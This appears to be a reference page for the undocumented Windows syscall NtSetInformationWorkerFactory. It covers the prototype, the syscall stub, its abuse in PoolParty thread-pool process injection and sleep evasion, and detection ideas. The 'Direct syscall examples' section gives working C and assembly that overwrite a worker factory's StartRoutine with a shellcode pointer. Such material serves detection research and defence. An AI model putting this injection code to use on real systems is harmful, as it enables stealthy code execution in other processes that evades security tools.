NtSetInformationWorkerFactory

Prototype

NTSTATUS NtSetInformationWorkerFactory(
  HANDLE                     WorkerFactoryHandle,
  WORKERFACTORYINFOCLASS     WorkerFactoryInformationClass,
  PVOID                      WorkerFactoryInformation,
  ULONG                      WorkerFactoryInformationLength
);

Arguments

Syscall IDs by Windows version

Syscall stub

4C 8B D1            mov r10, rcx
B8 B1 01 00 00      mov eax, 0x1B1
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Undocumented notes

The `WORKERFACTORYINFOCLASS` enum (defined in phnt/ntexapi.h) selects which field of the underlying `EWORKER_FACTORY` kernel structure is touched. Most classes — thread minimum/maximum, CPU sets, timeout adjustments — are mundane threadpool sizing knobs. Two are interesting: `WorkerFactoryBasicInformation` exposes (and on Set, can rewrite) the `StartRoutine` and `StartParameter` fields, and `WorkerFactoryThreadFlags` can mark workers as long-running or short-running, changing how aggressively the kernel reaps them.

Common malware usage

PoolParty 'Start Routine Overwrite' variants split the operation in two: first call NtCreateWorkerFactory with a benign StartRoutine (ntdll!TppWorkerThread is the obvious choice — it makes the factory look identical to a legitimate one in a brief snapshot), then call NtSetInformationWorkerFactory with `WorkerFactoryBasicInformation` to overwrite StartRoutine with the shellcode pointer just before posting work. The two-step pattern defeats simple cross-process detection that only inspects the StartRoutine at creation time. The same syscall is used to flip thread minimums down to zero in some sleep-evasion gadgets that abuse the threadpool to mimic the sleep behaviour of a benign idle process.

Detection opportunities

WorkerFactoryBasicInformation writes are rare in normal code — the ntdll threadpool sets the StartRoutine once at creation and never touches it again. A kernel callback that compares `EWORKER_FACTORY.StartRoutine` before and after this syscall, and flags any change in the field, is high-fidelity. Cross-process invocation amplifies the signal: legitimate threadpool tuning is always intra-process. Microsoft-Windows-Threading ETW emits some classes but not all; reliable coverage needs ObRegisterCallbacks on the WorkerFactory object type or a minifilter that observes the syscall in the kernel.

Direct syscall examples

// Step 2 of the 'overwrite' variant — flip the entry point to shellcode
// after the factory was created with a benign decoy routine.
typedef struct _WORKER_FACTORY_BASIC_INFORMATION {
    LARGE_INTEGER Timeout;
    LARGE_INTEGER RetryTimeout;
    LARGE_INTEGER IdleTimeout;
    BOOLEAN       Paused;
    BOOLEAN       TimerSet;
    BOOLEAN       QueuedToExWorker;
    BOOLEAN       MayCreate;
    BOOLEAN       CreateInProgress;
    BOOLEAN       InsertedIntoQueue;
    BOOLEAN       Shutdown;
    ULONG         BindingCount;
    ULONG         ThreadMinimum;
    ULONG         ThreadMaximum;
    ULONG         PendingWorkerCount;
    ULONG         WaitingWorkerCount;
    ULONG         TotalWorkerCount;
    ULONG         ReleaseCount;
    LONGLONG      InfiniteWaitGoal;
    PVOID         StartRoutine;
    PVOID         StartParameter;
    HANDLE        ProcessId;
    SIZE_T        StackReserve;
    SIZE_T        StackCommit;
    NTSTATUS      LastThreadCreationStatus;
} WORKER_FACTORY_BASIC_INFORMATION;

WORKER_FACTORY_BASIC_INFORMATION info = {0};
NtQueryInformationWorkerFactory(hWf, WorkerFactoryBasicInformation,
                                &info, sizeof(info), NULL);
info.StartRoutine  = pRemoteShellcode;   // hijack
info.StartParameter = NULL;
NtSetInformationWorkerFactory(hWf, WorkerFactoryBasicInformation,
                              &info, sizeof(info));

NtSetInformationWorkerFactory PROC
    mov  r10, rcx
    mov  eax, 1B1h     ; Win11 24H2 / Server 2025
    syscall
    ret
NtSetInformationWorkerFactory ENDP

MITRE ATT&CK mappings

• T1055Process Injectionmitre ↗
• T1106Native APImitre ↗